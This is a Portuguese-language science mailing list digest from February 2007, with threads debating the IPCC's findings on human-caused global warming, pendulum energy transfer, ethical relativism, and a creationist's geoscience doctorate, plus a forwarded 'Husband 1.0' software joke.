Mas há muita gente que não leva o IPCC a sério:
http://en.wikipedia.org/wiki/List_of_scientists_opposing_global_warming_consensus

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 4:13 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Essa thread começou bem, mas acabou se perdendo. Que provas temos de
> que o aquecimento global é causado pela atividade humana?

Estah no relatorio do IPCC.
http://www.ipcc.ch/

Em outra mensagem eu havia mencionado a correlacao entre temperatura
media e o teor de CO2 - e outros gases-estufa. Alem das medicoes das
emissoes antropogenicas desses gases.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: A utilidade de um Pêndulo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 19:05

Olá Tipoalgo,

não, não há nada de novo no experimento apresentado. Trata-se da migração da energia do pêndulo oscilante para o sistema elástico --- e vice-versa! Infelizmente o vídeo não mostra a complementação do experimento: Colocando no local onde ele pendurou o pacotinho de papel (para notar a vibração transmitida) um outro pêndulo (síncrono com o primeiro), haverá um instante em que esse segundo pêndulo estará oscilando com máxima amplitude e o primeiro ficará em repouso.

Veja detalhes e explicação disso em:

http://www.feiradeciencias.com.br/sala10/10_34.asp

Veja tb, no tema:

http://www.feiradeciencias.com.br/sala10/10_32.asp

http://www.feiradeciencias.com.br/sala10/10_33.asp
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Tipoalgo" <tipoalgo@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 13:21
Assunto: [ciencialist] Re: A utilidade de um Pêndulo


Prof. Léo, o que o Sr. poderia nos dizer sobre a
explicação/demonstração contida no vídeo-2
(http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-
2)_Device_for_testing.wmv)?

Tem algo de novo?

Obrigado

Tipoalgo




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SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 19:13

Não existe um consenso, até porque, mesmo o IPCC, não chegou a uma conclusão
inequívoca. Apenas aponta que há uma forte possibilidade da ação do homem
ter efetivamente papel significativo no aquecimento global.

São várias perguntas que temos que fazer:

1) Estamos em um processo de aquecimento realmente? Há alguns anos não havia
consenso. Acho que hoje é quase um consenso, na comunidade científica, que
sim, certo?

2) Os gases estufa tem papel determinante no aumento da temperatura? Ou
fatores outros, como a atividade solar, têm papel predominante?

3) A principal fonte de CO2 são atividades humanas? Ou, pelo menos, a
produção humana é predominante no crescimento comprovado de CO2 atualmente?

Minha opinião é de que temos que reduzir a emissão destes gases sim, por
diversas razões outras, que não o aquecimento global. Mas acho que não temos
ainda comprovações razoáveis deste fenômeno: o aquecimento global por
emissão CO2.

Abraços,

Ricardo



----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 4:13 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Essa thread começou bem, mas acabou se perdendo. Que provas temos de
> que o aquecimento global é causado pela atividade humana?

Estah no relatorio do IPCC.
http://www.ipcc.ch/

Em outra mensagem eu havia mencionado a correlacao entre temperatura
media e o teor de CO2 - e outros gases-estufa. Alem das medicoes das
emissoes antropogenicas desses gases.

[]s,

Roberto Takata



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SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 19:38

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Não existe um consenso, até porque, mesmo o IPCC, não chegou a uma
> conclusão inequívoca.

Consenso existe entre os especialistas em clima. O q não existe é
unanimidade - os dissidentes q tto ajudaram Bush em sua "política"
ambiental antes do último relatório do IPCC.

> Apenas aponta que há uma forte possibilidade da ação do homem
> ter efetivamente papel significativo no aquecimento global.

Eu tiraria o "apenas". É uma conclusão importantíssima.

> 2) Os gases estufa tem papel determinante no aumento da temperatura?
> Ou fatores outros, como a atividade solar, têm papel predominante?
>
> 3) A principal fonte de CO2 são atividades humanas? Ou, pelo menos,
> a produção humana é predominante no crescimento comprovado de CO2
> atualmente?

Há consenso tb para a resposta a essas duas perguntas. Sim, o CO2 e
outros gases-estufa estão ligados ao aquecimento global e, sim, a
parte principal é de origem antropogênica (ou antrópica).

> Mas acho que não temos ainda comprovações razoáveis deste fenômeno:
> o aquecimento global por emissão CO2.

Resta saber com base em q vc sustenta essa opinião.

[]s,

Roberto Takata



SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 19:43

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Mas há muita gente que não leva o IPCC a sério:

Sim. Tb há muita gente q não leva a evolução à sério. A questão são os
indícios.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] E ética de cada um...
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:09

a propria origem da aavra etica sugere algo de uma
comunidade

o ethos, o habito

dificil ensar que o habito das pessoas se torne universal

a etica so pode ser comunitarista

Sérgio



--- Bruna Carolina Ribas <brunacribas@yahoo.com.br>
escreveu:

> Se é verdade que a ética é circustancial, e não há uma
> ética universal.
>
> Pode ser desfavorável para a indústria anunciar a verdade
> sobre tudo que vende,
> para quê rótulos e por que não aceitar alimentos
> geneticamente modificados?
>
> Por que ser contra a obtenção de produtos mais baratos
> vindos do trabalho escravo?
>
> Tudo é permitido, não existe uma ética universal também
> não deveríamos viver sobre leis, sobre obrigações
> tampouco praticando atos que contrariam a nossa natureza
> animal...
>
> Segundo Peter Singer, "...é verdade que alguns tendem
> ao subjetivismo excessivo, afirmando que uma moralidade é
> tão boa quanto outra qualquer; mas, quando essas mesmas
> pessoas são pressionadas a dizer se acreditam que a
> moralidade de Hitler, ou a dos traficantes de escravos é
> tão boa quanto a de Albert Schweitzer ou a de Martin
> Luther King, reconhecem que, afinal, acreditam que
> algumas moralidades são melhores que outras" (Libertação
> Animal, p. 276).
>
>
>
>
>
>
>
> Victor <jvoneto@uol.com.br> escreveu:
> Ricardo,
>
> Você fechou claramente o que tentei expor com exemplos,
> centrados em circunstâncias igualmente claras. Moral,
> ética, religião, comportamento, enfim, tudo é uma função
> geográfica!. Para mim,isto é de uma clareza, sobre o que
> não tenho dúvidas, o que me economiza o tempo de estar
> elaborando perguntas e mais perguntas. Minha realidade é
> minha realidade. A de outros, é a de outros. Que só
> depende do lugar e/ou das circunstâncias, como se tem
> corretamente enfatizado. Imagina que eu, civilizado como
> penso que sou, tivesse nascido em uma tribo brasileira,
> digamos, a Tupinambá. Numa guerra, aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma
> batata de perna, um... Se não fosse ela, seria eu. Bem,
> já almocei.
>
> Sds,
> Victor.
>
> ----- Original Message -----
> From: Ricardo
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 2:53 PM
> Subject: Re: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>
> Como todo o respeito (mesmo), não vejo nada profundo
> nestes questionamentos
> (sem nenhum menosprezo).
>
> Quero dizer, pelo código de conduta implícito na moral
> da cultura da nossa
> sociedade, não há nada demais em comer um bife, ou
> escravizar um cavalo para
> usá-lo como transporte.
>
> Em outras culturas é imoral matar uma vaca ou um
> mosquito. Em algumas é
> moral comer um ser humano.
>
> Vejo como meramente cultural, toda a questão da ética e
> da moral. Posso ser
> criticado por alguns aqui, mas não concordo com a
> visão de alguns filósofos
> de uma ética universal, absoluta.
>
> []s
> Ricardo
>
> ----- Original Message -----
> From: "Chicao Valadares"
> <chicaovaladares@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, February 13, 2007 1:28 PM
> Subject: Re: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re: Carne:
> enfim o método )
>
> > Victor, não sei se voce notou mas quase todas as
> > situações apontadas são extremas. È bem diferente,
> > talvez da sua quando está confortavelmente
> posicionado
> > a mesa degustando um suculento bife, não acha???
> >
> >
> > --- jvictor <jvoneto@uol.com.br> escreveu:
> >
> >> Chicão,
> >>
> >> ----- Original Message -----
> >> From: Chicao Valadares
> >> To: ciencialist@yahoogrupos.com.br
> >> Sent: Monday, February 12, 2007 9:59 AM
> >> Subject: Re: [ciencialist] As baratas, nossas
> >> irmãzinhas!!! ( Era Re: Carne: enfim o método )
> >>
> >>
> >> Victor:> Como carne, de preferência carne branca.
> >> É verdade,
> >> >inegável, que essa coisa de matar para comer, se
> >> >pensar direitinho, pode mexer um pouco com nossa
> >> ética >pessoal que, como a
> >> >verdade pessoal, é um conceito relativo.
> >>
> >> Chicão: Existe moral universal??
> >>
> >> Victor>> Não me referí a moral. De qualquer
> >> maneira, não existe uma moral universal. Ela é
> >> igualmente relativa, depende só da geografia. É
> como
> >> religião.
> >>
> >> Quanto à ética, como a discutida na thread
> >> encabeçada por Bruna, um exemplo poderá esclarecer
> o
> >> que penso a respeito da maleabilidade de conceitos
> >> do tipo:
> >>
> >> 1)Você está perdido numa floresta, com seus
> >> filhos. O frio é intenso, a tropa vai morrer de
> >> frio, se não houver uma providência. De repente, um
> >> belo e sedoso urso surge por trás de um monte. Pele
> >> lisinha,lisinha. Que poderá aquecer e salvar os
> >> filhos. De minha parte, eu não teria dúvidas:
> >> apontaria meu canhão ponto 50 para a testa do tal,
> e
> >> bum!. Retiraria sua pele e salvaria meus filhos.
> >> Onde está a falta de ética ou moral, nesse caso.
> >>
> >> 2) Você está na floresta, mas não está perdido. Vê
> >> o urso. E pensa: aquela pele deve valer um bom
> >> dinheiro; além disso, agradaria minha gata. E bum!,
> >> no urso.
> >>
> >> E agora, como fica a moral e a ética, se comparada
> >> ao caso anterior? Em ambos os casos, um animal foi
> >> morto e sua pele usada para duas finalidades!. Em
> >> qual dos casos o autor do bum! deveria ser
> >> condenado?
> >>
> >> 3) Você não tem frio, é verão,mas está perdido na
> >> floresta e seus filhos morrendo de fome. Não há nem
> >> uma folhinha comestível num raio de vários
> >> kilometros. Aparece o tal urso, gordinho,
> >> gordinho(digamos que sua carne possa ser ingerida,
> >> nunca ouvi falar não, mas admitamos isso. Se
> quiser,
> >> substitua o urso por uma vaca bonita, gordinha
> >> também). Eu, mais uma vez, não teria dúvidas, bum.
> >> Um foguerinha(ou não) salvaria minha tropa.
> >>
> >> Onde está a quebra de moral e ética aqui? Deveria
> >> ser escafedido por isso, ou discriminado?
> >>
> >> Os dois conceitos, portanto, são relativos, e a
> >> conceituação fica a depender de vários fatores.
> >> Nenhum dos conceitos é absoluto, ou universal.
> >>
> >> Victor> Mas é o tal caso, assume-se que é uma
> >> consequência
> >> do > próprio processo de vida, de subsistência.
> >> Está
> >> >intimamente ligada à natureza das coisas. E são
> >> > processos, apenas processos. Que têm relações
> >> > causais, evidentemente.
> >>
> >> Chicão: Por que eu não posso matar pessoas para se
> >> alimentar,
> >> já que faz parte do processo de alimentação???
> >>
> >> Victor: Bem, acho que a pergunta ficou meio fora
> >> do contexto em discussão. Mas posso comentar algo.
> >> Matar propriamente, não. Mas há casos, em nossa
> >> sociedade não canibal (assim mesmo o canibalismo
> tem
> >> uma origem que aponta para um uso ritualístico, em
> >> função, em geral, da geografia e das crenças
> >> daquela sociedade; muito menos por necessidades
> >> orgânicas, e muitas das vezes como um tributo ao
> >> guerreiro morto, ou para comemorar algo,como uma
> >> vitória, ou para mendigar beneíficios da divindade
> >> da tribo), moderna, onde houve a necessidade de
> >> ingerir carne humana, de amigos e colegas já
> mortos,
> >> como única alternativa em defesa de suas vidas. Há
> >> um caso famoso, de um avião que caiu nos Andes,
> >> década de 60,acho. Aquelas pessoas faltaram com a
>
=== message truncated ===








"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:20

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> ampla aceitação na comunidade científica (pode me corrigir se eu
> estiver errado).

Está errado, vide o próprio relatório do IPCC.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] E ética
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:21


"esse papo seu ta qualquer coisa
vc ja ta pra la de marraqueche"







"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:35

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> O IPCC afirma categoricamente que o aquecimento global é causado
> pelo homem?

Basta lê-lo.

"Most of the observed increase in globally averaged temperatures since
the mid-20th century is very likely due to the observed increase in
anthropogenic greenhouse gas concentrations."
http://ipcc-wg1.ucar.edu/wg1/docs/WG1AR4_SPM_PlenaryApproved.pdf

(Dentro da padronização adotada pelo relatório, "very likely"
corresponde a um grau de probabilidade superior a 90%.)

[]s,

Roberto Takata





SUBJECT: Re: [ciencialist] E ética
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 21:39

Esse retorno está solto, sem referência. Você poderia dizer a que texto se refere, em cujo conteúdo vocês desceu a madeira, sem nenhuma dózinha?
Alguns, como eu, agradeceriam a manutenção texto original, ou parte dele, no e-mail de retorno.

sds,
Victor.



----- Original Message -----
From: Sérgio
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 8:21 PM
Subject: Re: [ciencialist] E ética



"esse papo seu ta qualquer coisa
vc ja ta pra la de marraqueche"

"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] A utilidade de um Pêndulo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:39

Tipo,
oi!
Já divulguei esse lance aquí e ele não despertou nem um simples peidinho.
Ou, seja: cheque!
abr/M.


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] A utilidade de um Pêndulo
>Date: Wed, 14 Feb 2007 09:26:41 -0000
>
>Olá a todos
>
>O trabalho do prof. Veljko Milkovic com os pêndulos me deixou curioso.
>
>Olhem o saite e os vídeos.
>
>Sugestão de links:
>
>http://www.veljkomilkovic.com/OscilacijeEng.html
>http://www.veljkomilkovic.com/PrototipiEng.html
>http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-2)_Device_for_testing.wmv
>http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-6)_Universal_oscillator-hammer.wmv
>http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-7)_Universal_oscillator-generator.wmv
>http://www.veljkomilkovic.com/Images/Opinion_Dr_Peter_Lindemann.jpg
>
>Os mestres poderiam tecer algum comentário sobre o assunto?
>
>Abraços
>
>Tipoalgo
>
>
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SUBJECT: RE: [ciencialist] [RN] CRIACIONISTAS OBTEM DOUTORADO EM CIENCIAS
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:46

It doesn't care...
Not a big deal!
Nothing will be changed!


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] [RN] CRIACIONISTAS OBTEM DOUTORADO EM CIENCIAS
>Date: Wed, 14 Feb 2007 18:25:32 -0000
>
>NYTIMES, 12-02-2007
>
>BELIEVING SCRIPTURE BUT PLAYING BY SCIENCE'S RULES
>
>Conelia Dean
>
>"Kingston, R.I. — There is nothing much unusual about the 197-page
>dissertation Marcus R. Ross submitted in December to complete his
>doctoral degree in geosciences here at the University of Rhode Island.
>
>His subject was the abundance and spread of mosasaurs, marine reptiles
>that, as he wrote, vanished at the end of the Cretaceous era about 65
>million years ago. The work is "impeccable," said David E. Fastovsky,
>a paleontologist and professor of geosciences at the university who
>was Dr. Ross's dissertation adviser. "He was working within a strictly
>scientific framework, a conventional scientific framework."
>
>But Dr. Ross is hardly a conventional paleontologist. He is a "young
>earth creationist" — he believes that the Bible is a literally true
>account of the creation of the universe, and that the earth is at most
>10,000 years old." (e)
>http://www.nytimes.com/2007/02/12/science/12geologist.html
>--------
>
>[]s,
>
>Roberto Takata
>
>
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SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:59

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Mas ainda pessoalmente ainda acredito em uma chance de 1 em 10 do
> IPCC estar enganado (com ironia :) )

Baseado em q?

[]s,

Roberto Takata



SUBJECT: fine, just fine!
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 21:59

( alguém entende de instalações? :)

Posted: Wed Feb 14, 2007 7:09 pm Post subject: re: Jokes

--------------------------------------------------------------------------------

Dear IT Support:Last year I upgraded from Boyfriend 5.0 to Husband 1.0 and
noticed a distinct slow down in the overall performance, particularly in
the Flower and Jewellery applications, which operated flawlessly under
Boyfriend
5.0.In addition, Husband 1.0 un-installed many other valuable programs,
such
as Romance 9.5 and Personal Attention 6.5 and then installed undesirable
programs such as: Football 5.0, Rugby 4.3 and Cricket 3.0.Conversation 8.0
no longer runs; it simply crashes the system. I've tried running Nagging5.3
to fix these problems, to no avail. What can I do?Signed, Desperate
------------------Dear
Desperate:First keep in mind, Boyfriend 5.0 is an Entertainment Package,
while Husband 1.0 is an Operating System.Try entering the
command:C:/I-THOUGHT-YOU-LOVED-ME
to download Tears 6.2, which should automatically install Guilt 3.0. If
that
application works as designed, Husband 1.0 should then automatically run
the applications Jewellery 2.0 and Flowers 3.5.But remember, overuse of
the
above application can cause Husband 1.0 to default to Grumpy Silence 2.5,
Happy Hour 7.0, or Beer 6.1.WARNING: Beer 6.1 is a very nasty program that
will create Snoring Loudly.CAUTION: Whatever you do, DO NOT install
Mother-in-law.
This is not a supported application and will crash Husband 1.0.In summary,
Husband 1.0 is a great program, but it does have limited memory and cannot
learn new applications quickly. You might consider buying additional
software
to improve memory and performance. I personally would recommend Hot Food
3.0 and Lingerie 7.7.Good Luck, IT Support ------------------ Dear
IT Support,18 months ago, I upgraded to Girlfriend 1.0 from DrinkingMates
4.2, which I had used for years without any trouble. However, there are
apparently
conflicts between these two products and the only solution was to try and
run Girlfriend 1.0 with the sound turned off.To make matters worse,
Girlfriend
1.0 is incompatible with several other applications, such as LadsNightOut
3.1, Football 4.5, and Playboy 6.9. Successive versions of GirlFriend proved
no better.I tried a shareware program, Slapper 2.1, but it had many bugs
and left a virus in my system, forcing me to shut down completely for
several
weeks Eventually, I tried to run GirlFriend 1.2 and Girlfriend 1.0 at the
same time, only to discover that when these two systems detected each other
they caused severe damage to my hardware.I eventually upgraded to Fiancée
1.0, only to discover that this product soon had to be upgraded further
to
Wife 1.0. While Wife 1.0 tends to use up all my available resources, it
does
come bundled with FreeSexPlus and Cleanhouse2005.Shortly after this upgrade,
however, I found that Wife 1.0 could be very unstable and costly to run.
Any mistakes I made were automatically stored in Wife 1.0's memory and could
not be deleted.They then resurfaced months later when I had forgotten about
them.Wife 1.0 also has an automatic Diary, Explorer and E-mail filter, and
can, without warning, launch TurboStrop and Multi-Whinge. These latter
products
have no Help files, and I have to try to guess what the problem
is.Additional
problems are that Wife 1.0 needs updating regularly, requiring ShoeShop
Browser
for new attachments and Hairstyle Express which needs to be reinstalled
every
other week. Also, when Wife 1.0 attaches itself to my Audi TT Convertible
hard drive, it often crashes.Wife 1.0 also comes with an irritating pop-up
called MotherInLaw, which can't be turned off.Recently I've been tempted
to install Mistress 2005, but there could be problems. A friend of mine
has
alerted me to the fact that if Wife 1.0 detects Mistress 2005, it tends
to
delete all of your Money before uninstalling itself'.



_________________
Innovation starts here.




SUBJECT: Re: [RN] CRIACIONISTAS OBTEM DOUTORADO EM CIENCIAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 22:05

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Nothing will be changed!

Os criacionistas querem obter credenciais científicas para tentar com
isso passar indevidamente credencial para o criacionismo.

[]s,

Roberto Takata



SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 22:18

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> >> Mas ainda pessoalmente ainda acredito em uma
> >> chance de 1 em 10 do IPCC estar enganado
>
> > Baseado em q?
>
> No mesmo relatório do IPCC. Por isso a ironia.

Só q se o IPCC estiver enganado, pode ser q haja probabilidade de 100%
do aquecimento global se dever ao ser humano.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 22:18

Na verdade, na situação atual, onde nenhum centro de pesquisa alega ter
comprovado que o aquecimento global é causado pela emissão atropópica de
CO2, faltam-me bases para sustentar qualquer outra opinião.

Veja bem, eu não disse que não há aquecimento global, e nem mesmo que ele
não é causado pelo homem. Disse que não temos comprovações objetivas. Alguns
cientistas respeitados levantam outras possibilidades.

http://news.bbc.co.uk/1/hi/sci/tech/358953.stm
http://www.news.harvard.edu/gazette/1997/11.06/BrighteningSuni.html
http://www.sciencebits.com/CO2orSolar

Sei que as matérias acima são apenas matérias, e não artigos, mas lembre-se
de que não temos artigos que efetivamente comprovem a questão, e tenham
ampla aceitação na comunidade científica (pode me corrigir se eu estiver
errado).

A opinião: "não sabemos" não pode ser comprovada por artigos. Apenas podemos
comprovar que sim ou não, neste caso.

Grande abraço,

Ricardo




----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 6:38 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Não existe um consenso, até porque, mesmo o IPCC, não chegou a uma
> conclusão inequívoca.

Consenso existe entre os especialistas em clima. O q não existe é
unanimidade - os dissidentes q tto ajudaram Bush em sua "política"
ambiental antes do último relatório do IPCC.

> Apenas aponta que há uma forte possibilidade da ação do homem
> ter efetivamente papel significativo no aquecimento global.

Eu tiraria o "apenas". É uma conclusão importantíssima.

> 2) Os gases estufa tem papel determinante no aumento da temperatura?
> Ou fatores outros, como a atividade solar, têm papel predominante?
>
> 3) A principal fonte de CO2 são atividades humanas? Ou, pelo menos,
> a produção humana é predominante no crescimento comprovado de CO2
> atualmente?

Há consenso tb para a resposta a essas duas perguntas. Sim, o CO2 e
outros gases-estufa estão ligados ao aquecimento global e, sim, a
parte principal é de origem antropogênica (ou antrópica).

> Mas acho que não temos ainda comprovações razoáveis deste fenômeno:
> o aquecimento global por emissão CO2.

Resta saber com base em q vc sustenta essa opinião.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 22:25

O IPCC afirma categoricamente que o aquecimento global é causado pelo homem?
Não creio.
----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 8:20 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> ampla aceitação na comunidade científica (pode me corrigir se eu
> estiver errado).

Está errado, vide o próprio relatório do IPCC.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 22:49

Ok... fiquemos com o "very likely" do IPCC. É razoável sim (sem ironias).

Mas ainda pessoalmente ainda acredito em uma chance de 1 em 10 do IPCC estar
enganado (com ironia :) )

Um abraço,

Ricardo


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 8:35 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> O IPCC afirma categoricamente que o aquecimento global é causado
> pelo homem?

Basta lê-lo.

"Most of the observed increase in globally averaged temperatures since
the mid-20th century is very likely due to the observed increase in
anthropogenic greenhouse gas concentrations."
http://ipcc-wg1.ucar.edu/wg1/docs/WG1AR4_SPM_PlenaryApproved.pdf

(Dentro da padronização adotada pelo relatório, "very likely"
corresponde a um grau de probabilidade superior a 90%.)

[]s,

Roberto Takata





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SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 23:07

>> Mas ainda pessoalmente ainda acredito em uma
>> chance de 1 em 10 do IPCC estar enganado

> Baseado em q?

No mesmo relatório do IPCC. Por isso a ironia.

> (Dentro da padronização adotada pelo relatório, "very likely"
> corresponde a um grau de probabilidade superior a 90%.)


[]s
Ricardo





----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 8:59 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Mas ainda pessoalmente ainda acredito em uma chance de 1 em 10 do
> IPCC estar enganado (com ironia :) )

Baseado em q?

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 23:29

Ok, foi só uma brincadeira com números.

Ao dizer que com 90% de probabilidade, o homem é a causa do aquecimento
global (através dos GRGs), eles implicitamente afirmaram que, segundo seus
estudo, há (aproximadamente) 1 chance em 10 de não ser o homem a causa do
mesmo.

É claro que mesmo que o homem não seja a causa eles podem estar 100%
corretos.

Eles certamente merecem toda a credibilidade, e provavelmente devam estar
próximos da realidade em suas conclusões.

Mas 1 chance em 10 de termos outra causa para o aquecimento global é algo
que ainda é um pouco alto para mim.

Desculpo-me por me estender no assunto. Sei que não foi construtivo para
lista, então paro por aqui, satisfeito com suas contestações e com a certeza
de que minha dúvida não tem qualquer base científica.

[]s
Ricardo

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 9:18 PM
Subject: [ciencialist] Re: O Ambientalista Crente


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> >> Mas ainda pessoalmente ainda acredito em uma
> >> chance de 1 em 10 do IPCC estar enganado
>
> > Baseado em q?
>
> No mesmo relatório do IPCC. Por isso a ironia.

Só q se o IPCC estiver enganado, pode ser q haja probabilidade de 100%
do aquecimento global se dever ao ser humano.

[]s,

Roberto Takata



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SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 23:32

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Ao dizer que com 90% de probabilidade, o homem é a causa do
> aquecimento global (através dos GRGs), eles implicitamente afirmaram
> que, segundo seus estudo, há (aproximadamente) 1 chance em 10 de não
> ser o homem a causa do mesmo.

Sim. O q não quer dizer q 10% seja a chance de erro dessa afirmação.
Bem, mas vejo q vc entende isso.

> Mas 1 chance em 10 de termos outra causa para o aquecimento global é
> algo que ainda é um pouco alto para mim.

Eu diria q é mais alto uma chance de 9 em 10...

> lista, então paro por aqui, satisfeito com suas contestações e com a
> certeza de que minha dúvida não tem qualquer base científica.

A dúvida em si não é ruim. Não é pra pegar o relatório e elevá-lo à
condição de verdade incontestável. Mas é preciso ter embasamento
fatual tto para uma análise como para uma refutação.

Entre outras coisas, o q levou os cientistas do IPCC a considerarem
como muito provável uma origem antropogênica do aquecimento global?
Além da ligação entre as concentrações atmosféricas dos gases-estufas,
a concentração desses gases estão ligadas ao início da revolução
industrial. Não é apenas o CO2 q aumenta, mas outros - o NOx, por exemplo.

[]s,

Roberto Takata



SUBJECT: Re: A utilidade de um Pêndulo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 23:41

